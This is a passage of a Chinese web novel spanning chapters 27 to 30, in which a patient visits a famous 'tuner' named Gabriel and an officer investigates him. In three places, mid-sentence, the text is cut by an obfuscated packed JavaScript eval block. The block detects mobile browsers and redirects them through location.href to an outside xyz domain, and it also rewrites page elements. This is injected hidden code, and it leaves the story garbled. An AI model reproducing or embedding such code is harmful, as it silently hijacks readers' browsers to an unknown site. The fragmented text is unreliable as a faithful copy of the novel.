患者邱珊跟在她身后,发现这里的护士穿得比终止式的队员还要好,豆子警官被艳压了!……也没什么值得惊讶的。 进入诊疗间,她终于见到了大名鼎鼎的调律师加百列。 这是一位标准得可做大百科“绅士”词条图例的绅士,和人们想象中的“大名鼎鼎的调律师”根本就是一模一样嘛!一模一样到都有点无趣了……不,好消息是,那就用不着作者仔细一写了。读到这里的朋友,请根据系统提示,自行脑补出一位“大名鼎鼎的调律师”的形象,3,2,1,action! 在大家集体读条赋格魔法的这段空当,上一个病患还留在这里,恋恋不舍地握着加百列的手,表达着一万吨的感谢。 而加百列就和大家想象中的调律师一样,温文尔雅而又刚正不阿地拒绝了他的私人礼品。 患者盛情难却,无可奈何下,调律师向下一位患者投来了求救的目光。 阿邱会意地点点头。作为绅士文化不情愿的受益者、作为很酷的预备救世主,群众需要她伸出援手时,她自然是当仁不让。 “前面那位大叔,让我插个队好吗?我实在病得太重了,哕,再不让人调理调理,我就要发疯了!” 32. 第二十七章 救世主 稀缺性医疗资源应当让给需求更迫切的患者,这是文明社会不成文的规则。 临走前,上一位患者踮起脚尖躲避着疯子和不定期降临的呕吐物,还不忘对加百列做出最后的好评:“您真不愧是我们旧矿山镇的救世主!” 诊疗间的门被轻轻带上,调律师回到办公桌前整理一番。助手都不在身边,只好由他轻咳一声、亲自提醒患者:“小姐,轮到我们了。” 阿邱回过神来,目光从门上移开,在豆子拉过来的皮质沙发椅上坐好,把背挺得笔直,生怕加百列二话不说就拿出他身后那堆仪器来调理她。 “天气回暖了啊。”加百列笑容和煦地开口了,“你们是乘902路过来的?那班车上总有趣事发生,我之前跟司机都混成熟人了呢,可惜搬来这里后就很少有机会乘车了。邱小姐,我能跟你打听打听今天车上都发生了什么趣事吗?” 他要这么问,那可太有了,阿邱指着豆子告状:“调律师,他抢我徽章!” ——当然不能这么干。和狱中的公职调律师不一样,服务于自由人的调律师有另外一套工作流程,比方说,用一些没必要的温言软语作为开场白,在润物细无声的关切中让病人卸下心防,顺道把话题引向正轨;话术精妙、态度又热切,把各年龄层的患者都当学龄前儿童来对待,不然海量爱上调律师的患者是怎么出现的呢?入乡随俗,阿邱看穿了“救世主”的底层逻辑,行动上却应该配合他才是。 “你知道帕特尔家的阿蒂提吗?” 加百列忙于书写的手指一顿。 “哦,你住得远可能不知道,阿蒂提十七岁左右,父母死在她……五岁?应该是五岁吧——五岁那年的一场灾祸中,一个人带着妹妹艰难生活,善良的镇民也在努力帮助她姐妹俩,但也不知为什么,努力到一个程度就努力不动了,排除千难万险,给她这个没钱读书的未成年人提供了一份需要频繁出入冷冻库的工作。”阿邱抱起胳膊,鼻孔喷出两团憋了很久的火气,“因为最近的事故,小姑娘差点截肢了,怎么没有救世主来救救她呢!你说,这算不算一件趣事?” 加百列笑意不减,停了笔,抬头看着阿邱,一言不发。 豆子轻叹一声,用看破一切的口气说:“邱小姐,你是来看病的,不是来法庭抗辩的,语气不用那么冲。” 好的吧,被全境讲话最中听的一个人批评语气冲了。 加百列冲他摇摇头:“无妨,每个人敞开心扉前的热身运动都不太一样。既然如此,邱小姐,我们直接进入正题吧——以你自己的判断,你在哪些时候会有情绪失控的状况呢?” 这都听不出来吗?为人群的虚伪冷漠、为专家的名不副实而烦恼不就是在情绪失控吗,这已经是最日常最易习得的一种不和谐音了,想必大调律师也没少接诊过为它所困的病人吧,别一天天的只知道打扮护士小姐,自己也做一做工作总结好不好啊? 但话又说回来,为“日常”所困的人大概也不会特地跑来寻求帮助。如果最顶尖的调律师需要更特殊的案例,阿邱这里还有其他素材。 “我有宁芙情结,也就是大家常说的花痴病。”她把手放在胸口,脸上挂着谜样的骄傲,“见到好看的男人就垂涎他们的美色,并产生一些不应该的囚禁欲。” 加百列看看豆子,了然一笑:“可以理解。不过我得提醒一句,不要拿临时捏造的症状来糊弄调律师哦。” 怎么能说是临时的呢,她都捏造一个星期了。 行吧,舍不得孩子套不着狼,阿邱翻书般变了脸,沉痛地低下头:“其实真相是这样的:我是满心病,而我的前男友是空心病,他那么好,我却因为这等小事跟他分手了,直到现在都没走出失恋的阴影,日日从天黑哭到天明。” 她猜调律师会说,不好意思,我们专业人士从没听说过这两种病,你的问题嘛,啧啧啧,咄咄咄,更像是替代型创伤、讨好型人格、M型社会、智慧型飞笺器…… 能被猜中下句话就不是大名鼎鼎的调律师了,加百列双手交握,神色如常:“邱小姐,恕我多嘴一句:请你坦诚对待自己的内心。” “我哪里不坦诚了……” “不过你这种情况也好办。”加百列站起身,拧开仪器柜上的钥匙,“我们现在就开始谐律调同吧。” 哦豁,完蛋。这句话翻译成我们位面的话,就相当于:话疗不起效,那只好上化疗了。 金属器具互相碰撞,发出惊悚的鸣响,阿邱深感后悔,哆哆嗦嗦凑到豆子耳边问:“这这这是要现场开瓢吗?” 听她蚊子嗡,豆子眯起眼笑了:“你自找的。” “……等等,老师我想问一下,什么叫调律协同?是需要家属签字的那种大手术吗?” “是谐律调同。”豆子指着桌上那堆线材,“你可以理解成疏通下水管道。” “疏通……疏通!真的要开瓢吗?” “要,然后把你的脑子和小肠连通在一起。” “什么?!我现在逃跑还来得及吗……” 恐慌到了顶点的时候,看到线路末端那两片熟悉的耳夹,阿邱总算是想起来了——什么同协调律,不就是非言语拷问嘛!说来也是她的老伙计了,想不到多年以后运用到了其他领域,还得了个故作高深的专业术语,专吓唬学龄前儿童的吧! 阿邱对这项活动的体验不好不坏,隔了这么久,时而还会有点想念,因为只有在接触它的时候,她才能实打实地“感觉”到点什么。 往身旁一看,豆子也佩戴好了耳夹,原来监护人全程陪同的作用在这里?她倒不怕被拷问到了什么,她还担心拷问结果吓到了人家呢。 在拷问的变体中增加一个参与者,多半是为了避免不必要的争端吧。阿邱想着,要是阿蒂提也死了,妮莎顺理成章地长成了一个不坦诚的人,她一个人要怎么来接受同律协调呢? “谨慎起见,有件事我必须过问。”加百列把线材的另一端接在一个玻璃罩上,再插好模块化的开关,“你和你这位家属平时是怎么相处的?” “家属?不不不,他不是我的家属……” “这样吗?好的。那你和朋友平时谁比较强势些?” “我们也不是朋友。”话说一半,阿邱觉得她好像在跟人抬杠,“就是刚认识的人,非亲非故的……” 想了好 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姑且这么推测吧:如果不接下“监护人”的任务,他会遇上更大的麻烦。 但愿这位奔波于生计的冤大头不要被她的韵律扎疼了……什么东西这么扎人! 甫一探入,阿邱的下巴便像是挨了一拳,一阵从脚底袭来的疾风刮着她的脸,用闪电的速度奔向穹顶正中央的光亮处——那大概是豆子的韵律,迅捷而强劲。 阿邱的韵律好半天才反应过来,蛄蛹蛄蛹地伸出触角,来不及了,怎么都追不上他,只好茫然地等待在原地。 过了不久,疾风回头找到了她,变成旋流围绕在她身边。阿邱挑了一只最不扎人的触角,探入豆子的风眼中,就在那一瞬间,她看到了血红的天空、听到了枪炮的轰鸣,硝烟掩盖了人们的哭喊和尖叫,空气中弥漫着浓烈的血腥气,待她极力睁开双眼时,额角传来一阵锐痛。 这是……这是哪一场人祸呢? 太可怕了。她难以克制地张开自己的黏液质,想把那阵疾风裹入腹中保护起来—— “好,信息就采集到这里,情况我差不多都明白了。” 这时,加百列切断了线路,马不停蹄地在病历上记录起来。 豆子摘下耳夹,不动声色地瞥了阿邱一眼:“我也差不多明白了。” 阿邱悚然:明白了什么你们倒是说啊! 她不确定豆子在低强度的连通中究竟看到了哪段梦境,也不敢开口去问——但求不是撒雪花牵披风那段,太损害他的尊严了,徽章会要不回来的。 情况似乎不容乐观。加百列完成记录后,提了个要求:“我想和邱小姐单独聊聊,可以请监护人先回避一下吗?” 正如他的韵律,豆子迅速地走出去,又迅速折返回来,像赎罪室的神父一样按了按阿邱的头顶道:“他只是调律师,不是在面试你,更不会严刑拷打你,你不用这么害怕。” 阿邱的心脏乍看之下很平滑,细微处却坑坑洼洼的。豆子这句话的语气比他的关门声还要生硬,可刚才,好像有只小猫“喵哇”一声出了拳,把她心脏上的一块肿包给挠掉了。 33. 第二十八章 救世主啊 组成工作室的三间小木屋由长廊连通,人造藤蔓层层叠叠环绕在木质架构上,地板在雨水来临前先吸饱了湿气,踩起来吱呀作响,令人心生愉悦,恍若漫步林中——只要你足够迟钝。 不远处,大门是森冷的金属材质,旁边的门卫亭跟它一体同源。 豆子站在窗外等了一会,见趴在桌上打瞌睡的门卫始终没有要醒来的意思,便屈起手指敲了敲窗户。 “干什么?!”明明没使多大力,门卫却一惊一乍地坐了起来。 “跟你打听点事。先问一句你在这边工作几年了?” “半年吧……你什么人呀我要告诉你?” 看到贴在窗玻璃上的证物袋,嘟嘟哝哝的门卫闭上了嘴。 “见过这东西吗?” 透明的证物袋里装的是一截奇形怪状的紫色植物,似花非花,早已枯萎。说紫色还不够严谨,对着阳光只能看清它黄绿的底色,回到背阴处,它才幽幽地泛起了蓝紫色的光,即便早已失去生命。 “这是什么?”门卫奇道,那份疑惑不像是装出来的。 “‘桢似幻’,听过吗?第一个发现它的研究员名字里有个‘桢’字,故得此名——当然,在你们镇上可能还有别的叫法。” “是吗?反正我没见过,真没见过,这到底是虫子还是花啊?” “都不是,这是一种麻醉药材,培育难度极高且副作用明显,一般用来治疗重度内融病,游医队药监部明令禁止它在市场上流通,不过我听说,最近有调律师试图把它引入诊疗中?” “调律师?不可能!”门卫连连摆手,“如果你暗示的是我们加百列老师,那你放心好了,他绝对干不出这档子事!” 豆子点点头:“你们都很尊敬他啊。” 听他这么说,门卫来劲了:“尊敬?太轻了,应该说崇敬才对!加百列老师可是世间罕见的一等一的大好人,对待患者像亲生父母一样耐心,收费不高,还会定期举办免费巡诊,就连夜之窟那种腌臜地方都会覆盖到,大家都说他是我们旧矿山镇的救世主呢!” 救世主。又是这个词。 “对了,这不才刚开春么,下周他又要办第三场巡诊了,唉,连轴转得我看了都心疼。要是你感兴趣的话,我这边有几张入场券……” “谢谢,不必了。”豆子把证物袋收进衣襟里,“嘴巴这么严啊,看来问起有关吸血蛾的事你也不会透露半个字了。” 门卫眉头一皱,警惕起来:“吸血——这位警官,请你慎言!我跟你一样是吃公家饭的,如果加百列老师真有什么违规行为,放心好了,我会第一个出来检举他的!” “这样么,那真是辛苦你了。” 豆子转身离开。 这个时间,候诊室早已人满为患,长廊上还空着几条被儿童涂鸦完全覆盖的长椅。他随便找个地方坐下,向身旁一个拄拐的老婆婆搭话道:“天气真好啊。您——” 老婆婆吓得腰板一直,打了个跟刚才的门卫一样大的激灵:“谁在说话?” 豆子撇撇嘴。他只是存在就已经这么吓人了吗? 细看之下才发现,原来这老婆婆是个盲人。可是奇哉怪也,失去一部分感知能力后,作为弥补,其余的感官不是应该被训练得更加发达吗?他还以为像邱小姐那样四肢健全、五感却仿若麻痹的木头人才是极少数呢。 老婆婆迟一步感知到身旁是个男青年,略带戒备地说:“小伙子,你也是慕名来看加百列大夫的?” 到底是大夫还是老师,大家似乎没有一个统一的说法。 “是啊。”想到对方也看不见自己这身制服,豆子粗糙地表演了一声咳嗽,“听说他是东海岸最好的调律师,要是他也治不好我,我就只剩死路一条了。” 老婆婆抬起拐杖敲敲地板:“别这么说!你还年轻,稍作调整就能回到正轨了,相信加百列大夫的手艺吧,他厉害着呢,保准让你韵律通畅!” “可是我——哦,我是邻镇来的,在老家寻遍良医都治不好韵律淤堵,您说,偏他这个加百列俘获了众多患者的心,究竟靠的是什么?比方说,有没有什么不外传的秘诀?” “秘诀?”老婆婆呵呵呵地笑开了,“孩子,并非所有人都是靠着‘秘诀’脱颖而出的。就好比这做菜,火候要稳、调味得准,或许有的人也靠家传秘方打天下吧,可说到底,什么都比不上原材料重要。” “原材料?您是指药材?” “不,我是说坐在这里的你和我。” 豆子抬头望天:“真有意思,受到恩惠的患者变成了他的材料。” 老婆婆听出豆子明白了她的暗示,忍不住跟他多聊几句:“‘那个’从威丝塔芬上岸的事,你可能早就知道了吧——没事,闲聊嘛,言论自由,谁会怪罪你?听说他们从域外带了不少好东西上来,我倒觉得,对胃口越来越大的‘岸上’来说,好东西还不如好办法。你说呢?” 豆子也不免认真起来:“可实实在在的好东西才能吸引到岸上的帮手——至少是第一批帮手吧。好办法是需要时间来验证的,不能做成饵;鱼也从不为了跳进某位大人物的胃里而咬空钩。” 老婆婆呵呵笑个不住:“这话说得在理,是我考虑不周了。” 豆子莞尔道:“哪里哪里,是我不该多余操心,原来您身上最灵敏的是嗅觉啊。” “嗅觉吗?我喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052079|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个说法,从小我就辨得出西城的海风和东城的海风不是一种腥味。那么现在可以告诉我了吗,年轻人,你最开始想打听的是什么?” “我想问的是,”豆子稍稍伏低身子,在她耳边说道,“你们的加百列大夫建立这个工作室有几年了?在此之前,他还有没有别的身份?” ———— ———— 阿邱几乎是被人群推挤出来的。 ——真好啊,这才是救世主应有的号召力。 之所以感到无力,是因为她忽然发现,世上最难攻破的城墙,原来不是高精尖的武装力量,而是感恩戴德的人群啊。 阿邱尝试让自己轻松一些:有必要在这里泄气吗!又不是一场竞赛,全世界的野心家角逐一个救世主的位置——别看十字城邦这么点大,连祭司都有七个呢! 回到木质长廊,豆子独自坐在被小孩涂得乱七八糟的长椅上,慵懒地翘着腿,一手撑着椅背,一手把玩着“邱珊”徽章。 阿邱走过去,眼巴巴地看着他。 豆子的眼睛没有离开不断抛向空中的“440hz”:“想要吗?” 想要,可她现在没有资格贪心。 阿邱强迫自己不去看亮闪闪的徽章,低头整理着裙摆:“别在那现了,你不想还给我,就麻烦你帮我好好保存吧。” 豆子没来由地心情很好,声调都少有地往上扬:“我有个提案,等你赚够了钱,再从我手上把它赎回去,怎么样?” 什么意思,豆记当铺开张了?还是靠横征暴敛起家的? 阿邱感性上大为气恼,理性上又很快说服了自己:如果豆子不打算狮子大开口,这会是个不错的提议,这是因为,赚到可供自由支配的赎金,意味着收入稳定、拥有了保护心爱之物的能力,在让人消沉的第一步和下落不明的第二步之外,她的生活中又出现了一个具体可行的目标。 “好,你开价吧。” “三个金币。”比划数字时,豆掌柜的食指和拇指捏得滚圆:“不算多吧?毕竟里面包含了我们队长招待你们整个俱乐部的午餐、晚餐,以及这一次就诊的费用。” 很正常,偶像宽宏大量,粉丝锱铢必较,世界一贯如此。 阿邱用力点头:“成交。我一定努力赚钱,还要多拜拜狄安娜女神祈求财运……” “你还需要拜神?你自己不就是福星吗?” ……这么尴尬的称呼是谁告诉他的啊!? 哦对,可能是对决之前、苏西拍她脑袋那会儿偷听到的吧,耳朵还怪灵的,是不是当过很多年的瞎子啊?臭脸势利眼小矮子,他也就得意这一时,阿邱携全家祝他早日暴富、有得赚没得花。 34. 第二十九章 救世主哎 走到街口,阿邱莫名一阵紧张。 豆子要把绅士风度贯彻到底,下车后还要亲自送她回俱乐部,可阿邱到底不是个淑女,心里的小算盘也总是散发着铜臭味:万一好死不死苏西这时候回来了,两人见了面,聊起上次的事,一言不合又大打出手,导致她利滚利地欠了豆记当铺更多的债,最后不得不把自己的命给抵押进去……那还不如把斗争扼杀在摇篮里! 她猛地转过身:“今天也谢谢你啦就送到这里吧我——” 刹车太急,身后的豆子脚步也快,寒暄讲到半截,两人“梆”地撞到了一起。 “……又怎么了?” 豆子倒也没生气,扶了扶帽子,就来拉阿邱起身。 ——就说社会新人很好懂吧,收入渠道拓宽了,人也跟着变温和了。 阿邱拍拍衣服上的灰,诚心诚意向豆子道了歉,动作上却更像是拦住了他一个身位。 “那个,你也知道我们夜之窟做的是夜里的生意吧,这个点大家都筹备起来了,他们看到穿制服的人会害怕,要是耽误了晚上的出摊……” 豆子狐疑地看看太阳的高度:“现在还早着。” 管他怎么利用客观事实提出质疑,阿邱已摆好了后撤步:“拜拜拜拜,有空联系——最好用飞笺器联系——写信也可以……漂流瓶更佳!” 把告别扔在地上、撇下豆子和龙柏朋友,她快步逃进了背阴处。 宜人不宜人的都不重要了,果然这个“熟人”还是缓两天再做吧……反正豆子在看似帮助她时总还抱有别的目的,各怀鬼胎的两个人是没办法好好相处的,为此,她得找个没人的地方单独生一会气,再回想着神父按头的画面原谅他。 心里乱糟糟的,自然也就没注意到一个卷发绅士凑到豆子身边,带着醉意问他:“小哥,你也被女孩子甩了吗?” 淡猫俱乐部。 苏西和影都不在,只有牧笛双手拢袖坐在门口的阳伞下,俱乐部既不俱,也不乐。 见到阿邱,他从椅子上巍峨地站起身:“呀,总算回来啦!” “牧笛大姐?你不会是在这儿等我吧?” “不等你等谁呀?” 阿邱大受感动,跑过去拉住他的手,带着他“哇哈哈哈哈”地转起圈圈来。 “停、停,这是在干什么,人家头晕!哎我的老腰,我的脑浆!……” 阿邱依言松了手,强大的惯性使这座高山横着飞了出去,撞倒了一个路过的醉鬼。 倒霉的醉鬼仿佛被山顶落石砸中,捂着头哎哟哎哟叫了一阵,蛞蝓般艰难地起身,扶着墙吐了一地。 “噫,死远点,安东尼奥!”牧笛差点就没躲开,尖叫、怒骂、连续蹬腿,捂着鼻子好歹是爬回了原地,“女神啊,这臭虫怎么还没入土?谁又给他饭吃了,谁?!多损害咱们夜之窟的绿化呀!” 阿邱收起眼中一瞬的森冷,声音里的金属质却未褪尽:“他到该死的时候自然会死的。” 牧笛就和他的名字一样情绪化,扯着嗓子叉着腰,直把人骂跑了才消停下来。 回头向阿邱宣告胜利:“长见识了吧,大姐我在骂人上还从未有过败绩!” 如果可以的话,我也很想相信你们的呀。阿邱摸了摸牧笛的大粗胳膊:“对不起……” 牧笛惊讶地拍拍那颗委屈下垂的小狗脑袋:“哎哟哟,这是怎么了?” “……没事,看到流浪汉就想起之前的自己,突然情绪上来了。” 见她消沉,牧笛皱巴着脸陷入了思考。他又实在不擅长思考这项活动,犹疑着开口:“总不能是因为那个调律师吧……” 阿邱抹抹眼睛,平稳接球:“你说得对,很有可能哦。” 牧笛松了口气:“那你快跟我讲讲,传闻中的加百列到底是怎么调理你的?” 说话间,第二张椅子搬到了门口。看,哄小孩式的话题引入并不需要经过专业训练。 “该从哪里说起呢?先说检查吧。” “啊,难道他们手法很粗暴吗?还是用了很吓人的仪器?” “用了很吓人的仪器,但手法并不粗暴,方法是叫调律……铜绿……鞋那个——”阿邱捋了半天,无果,遂放弃:“非言语拷问。” 牧笛还没坐稳就又惊得蹦起来:“拷问?!” “是温和版的啦。” “再温和也不能随便拷问咱们合法公民呀!” “别急,你先听我说完再下定论。” 监护人离开后,加百列换了副腔调,如果叫当时的阿邱来形容,那就是父母一看小孩到叛逆期了,一夜之间变成了她的朋友,也不管她有没有这个需求。 “小姐,我知道过去的经历对你很重要,不过为了治好你的病,在专业调律师面前还请你放下戒备,我们严格遵守调律师守则,对患者的隐私绝对保密,希望在接下来的谈话中你也能保持诚实,好吗?”也如同父母那般,和孩子成为朋友的第一步就是家法全面升级,而加百列也确实这么说了:“就当是朋友间的聊天。” “好的。”阿邱乖乖把手放在膝盖上,“你问吧,我保证知无不言!” 透过玻璃罩,加百列观察着刚才收集到的流体,这团物质像阿米巴原虫一样缓慢地变形,伸出伪足沿着罩壁漫步,找不到能吃的脑子,便在陌生环境里均匀减速,态度极其地消极。 阿邱等得口干舌燥,扶了扶眼镜,正巧加百列也做了同样的动作。是的,他也戴眼镜了,为什么到现在才仔细一写?我以为观众朋友们在上一个赋格魔法中早给他戴好了,因为戴眼镜能给人留下聪明的印象嘛。也罢,就当是对答案了。 熬过了一个世纪那么久,加百列终于结束观察,抬眸探询地看了阿邱一会,清清嗓子,说道:“首先,邱小姐,像天灾人祸、战争、不公平的社会规则这类宏大议题,本质上都是群体的产物;不论是意外还是人为,都不是个体所能改变的。我看得出你肩上背了一些不必要的包袱,要求你立即放下也是不现实的——” 保持诚实的阿邱附和道:“没错没错,我就是个咸吃萝卜淡操心的。” “我这边有个行之有效的解决方案:不必强迫自己只去关注眼前的问题,因为宏大的问题不会随着你的调焦而消失,你只需换个角度看待它们,情绪流就能逐渐恢复平稳。” 阿邱抿抿嘴。这个观点倒新鲜,在大学院,她尝试过向玫瑰学派的绅士们提出自己的忧虑,没有一次不被他们陈旧且略带暴力地打断:“想那些有的没的干什么?人生在世不过百年,顾好当下、关心一日三餐,才是你这个年纪该干的事。” 所以这个加百列……确实有点东西? 聪明的调律师戳戳玻璃罩,好像在对那团飘飘忽忽的阿米巴原虫说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052080|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话:“打个比方,你知道洱鸾大陆每年都有三到六个全境流放名额吗?是人都清楚,这条规则设置的初衷是把异端分子从队伍中清除出去,以提高公民的整体素质,与此同时,随着公民素质的整体提高,流放者人数理应逐年递减,最后规则本身也失去了意义、被历史扫进垃圾堆。那么你可以简单粗暴地归纳出这样一条真理:流放者越多,流放者就越少——这么说你可以听懂吗?你所忧虑的那些臃肿的赘生物并不是静态的,为了适应大多数人的需求,它们通常都会像这样极其缓慢地消失;正是因为庞大,规则的进步才需要整个社会一起推动,时间在这里并非最好的度量衡。” “那规则变更之前就被清理出去的无辜者呢……你会不会觉得,这样的人按人头数积累出了规则的进步,规则的滞后却反过来害了他们?” 比起下结论,加百列更像是在作出某种预言:“的确,我也常听人说:‘总得有人被流放,不是他就是你,不是你就是我’。这是一句正确的废话,而正确的废话唯一的作用就是让人忽视自己的感受,对此我想说的是:天下共生的观念固然高尚,但你是你,别人是别人,为了韵律和谐着想,请你务必学会课题分离——有谁逼你去做救世主了吗?没有吧。说到底,你也只是个普通人罢了。” 站在预备救世主的立场上看:什么,他铺垫老半天就为了说出这种话,莫非是想掐灭她的光环好让自己上位?收回刚才的夸奖!收回! 阿邱闷闷地说:“好好——我以后除了吃喝拉撒就是蒙着被子睡大觉——” 加百列看她摆出投降姿态,淡然一笑,这回真的用朋友的口吻说:“邱小姐,我看你不仅仅是不谙世事,你心中的某一块简直就和婴儿一样,恋世情结非常严重。恕我说句糙话,像你这种情况,多上几天班就治好了。” “但愿如此吧……” “最后一点,你过于在乎旁人的关注与认同了,同时对‘认同’的标准极为苛刻。其实我也可以学着那些杂志的侧边栏告诉你:请把注意力收回自己身上、专注提升事业学业,‘你若盛开清风自来’——可我知道事情远没那么简单。有些情感创伤比身体残缺还要难以治愈,我完全可以理解。” 阿邱又在掐大腿了:“这都不是事儿,我自己就可以调整过来。” “是的,我相信你有能力正确引导自己,你最难能可贵的一点就是从不把痛苦扭曲成延迟的快乐,一直在尽力去分辨什么是真正的快乐,这样很好,只是精神负荷稍高了些,建议你还是顺其自然一点,否则很容易遭到反噬。有个方法很好用,我把它称为‘情绪的拐杖’,你可以尝试几次,下回我去你们夜之窟办巡诊时,你再来告诉我效果如何……” 接着,加百列教给阿邱一段正念魔咒。当时是否起了效,阿邱的记忆有些模糊,看看现状,她只知道没有尝试第二次的必要了。 因为反噬已经发生了。 她低头看着脚尖,没有向牧笛——为了哄她,尖着嗓子准备列出加百列的一百条毛病——坦诚接下来发生的事: 对于她最开始想问的那个问题,加百列点了点登记表上的住址,这么回答她:“哦?不妨去问问你们俱乐部的那位保安,他也是希孚里亚出身。据我所知,他曾在大学院进修过调律师课程,不知出于什么原因,还没拿到毕业证就退学了。我想,他或许能给你一个满意的答案。” 35. 第三十章 金币 夜幕降临。 淡猫俱乐部的生意一如既往地惨淡,今晚开业时间,甚至连舞男都没到场。 影也至今未归。牧笛百无聊赖地坐在柜台里,屁股下的旋转皮椅被他折腾得呼哧带喘,仿佛得了老慢支。 “他呀,人家平时都不管他的,可能突然有事需要外宿吧。没事的,现在都没客人在,哪里还需要安保?” 除了敷衍阿邱,他大概是想暗示,安啦,淡猫俱乐部就是一个极其松散的组织,请对锁子甲、温兵器放下戒备,就像调律师有调律师守则,他们也会严格遵照暗杀者守则办事的。 “……他该不会是去跟苏西汇合了吧?” “绝不可能,他俩的关系才没那么好。” “那苏西到底什么时候回来啊?” “怎么,你想他啦?” “我想他想得快要死掉啦——”阿邱挤着眼睛发出嘤嘤声。 隔着厨房的珠帘,牧笛也夹起嗓子回应她:“是吗,等他回来,我会帮你传达到的!” 阿邱把中午吃剩的饺子加热好了端到桌上:“刚才饺子在锅里爆炸的时候,我恍惚间听到了女神传讯……她说,你们淡猫生意不好,很可能是因为我这个福星不太行。” 牧笛喷着滚烫的乌梅馅极力否认:“这话怎么说的!我们俱乐部生意不好又不是一两天了,跟你有什么关系?再说了,福星发挥威力也是需要时间的——” 就像庞大的规则和真理吗? “你这才来了几天,别什么都往自己身上揽,啊。菜都热好了?快,到这边来,我有好东西给你。” 他从墙角拿出一根警棍递给阿邱,中间的缺口用胶水勉强补好了。 “据你上回观察,那个小队员的伤势恢复得怎么样了?要等队医来啊?好……你明天把这个还给他,看我们可不可以少赔点钱……” 阿邱目瞪口呆:这算哪门子好东西?明摆着叫她觍个脸去道歉的场合搞谈判吧! “还有这张票你拿着,跟你说哦,这是人家好不容易才弄到手的!” 哦哦,原来这才是“好东西”。阿邱毫无心理准备地把票上的文字读出了声:“‘全天候深夜剧场,让人面红耳赤的火辣表演’……什么意思?” “上回聚餐你说你想谈恋爱,对吧?”牧笛露出坏笑,“我是这么觉得的,吃不了猪肉,至少让你见识一下猪是怎么跑的,先把批判视角建立起来,免得以后傻乎乎地上了哪个坏小子的当。” “呃,谢谢你的好意,所以这出火辣的剧目是……华丽浪漫又狗血的恋爱戏?” “不不,才没那么素。”牧笛笑意加深,“除了浪漫,还会探讨生命起源的议题,我是说,演员会真刀真枪地上阵哦。” 生命……起源…… 阿邱一下子反应过来,烫手般把票丢了回去:“这、这……恕我不能接受!那么大个地心剧院居然会允许这种表演?那可是全镇的地标性建筑哎!光天化日、朗朗乾坤——” “不是地心剧院,是热情岛屿小剧场,离咱们这不远,票上有地址的你看清楚了再说——哎呀别害羞嘛,官方的婚前培训都有这类项目可供选择,这都什么年代了,谁还把这档子事当忌讳呢?”牧笛硬把票塞回去,“听说这场的男演员长得很不错,那个也很那个,趁他还没攒够养老钱退圈,你不赶紧去饱饱眼福?” 长得不错的男演员吗…… “有多那个?”出于好奇心,阿邱把票收进了怀里。 收拾碗筷时,门帘掀开,淡猫俱乐部总算迎来了今晚的第一位顾客。 牧笛一拧身子,巧笑倩兮地招呼他:“哟,客人里边请,酒水单马上给你送来——咦?怎么是迦南小队长?” 迦南略一颔首,冲阿邱道:“邱小姐,你现在方便吗?” 偶发地震的露天咖啡馆。 稍等,老用这个称呼有点不吉利。由于主人公经常在这里开会与被开会,咖啡又是植脂末兑出来的,不如就去掉饮料、保留地形特征,我们改叫它管道会议室吧。 管道会议室。 虽然迦南小队长是个土生土长的瓦德密尔人,但阿邱这杯咖啡是他坚持要请的——无论他们私底下怎么管北城人叫“猴子”,希孚里亚的绅士风度还是像病毒一样扩散开了。 “我们似乎只能在这个时间点见面?” “没办法,白天我要兼职,晚上也不得闲,再等一会,就有人要来监视我了——不管去哪身上都黏着一层视线,怪烦人的。” “确认过此人身份吗?” 阿邱在椅子里挪了一下身子:“没有,我觉得没必要,估计就是舞台的布景板吧……” “什么?” “……但也可能是台上的演员。我反侦查不出来,又没上过反侦查课。” “好。言归正传,今天需要我知道的消息是?” “昨天他们要我盯着夜之窟,今天就有反应了。”阿邱冲天吐了个烟圈,“夜之窟,或者说淡猫俱乐部的人员组成果然发生了变化。” “你认为这之间有因果关系?” “这就交由你来判断咯。当然,如果你报告给更有判断力的上级我也阻止不了,只是我会更加难以在旧矿山镇生存——”说着,阿邱朝远处竖起耳朵的瘦弱招待弹舌,“还有你,对,说的就是你,敢把今天听到的透出去半个字,迦南小队长会亲自上门宰了你哦,听明白了吗?” 男招待瞅一眼迦南的脸色,缩进准备间,哪敢再动弹。 而迦南,这个阿邱从第一眼看到就讨厌的、严肃过了头的、体型庞大的暗色皮肤男人,在夜幕之下露出了捉摸不透的笑容:“我自然会为你保密,毕竟,我也不希望来之不易的合作崩盘。” 阿邱把咖啡往前一推:“那我的情报可不止这个价。” “两千金币够了吗?” ……倒也不值这老些! 察觉到对方是在开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052081|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 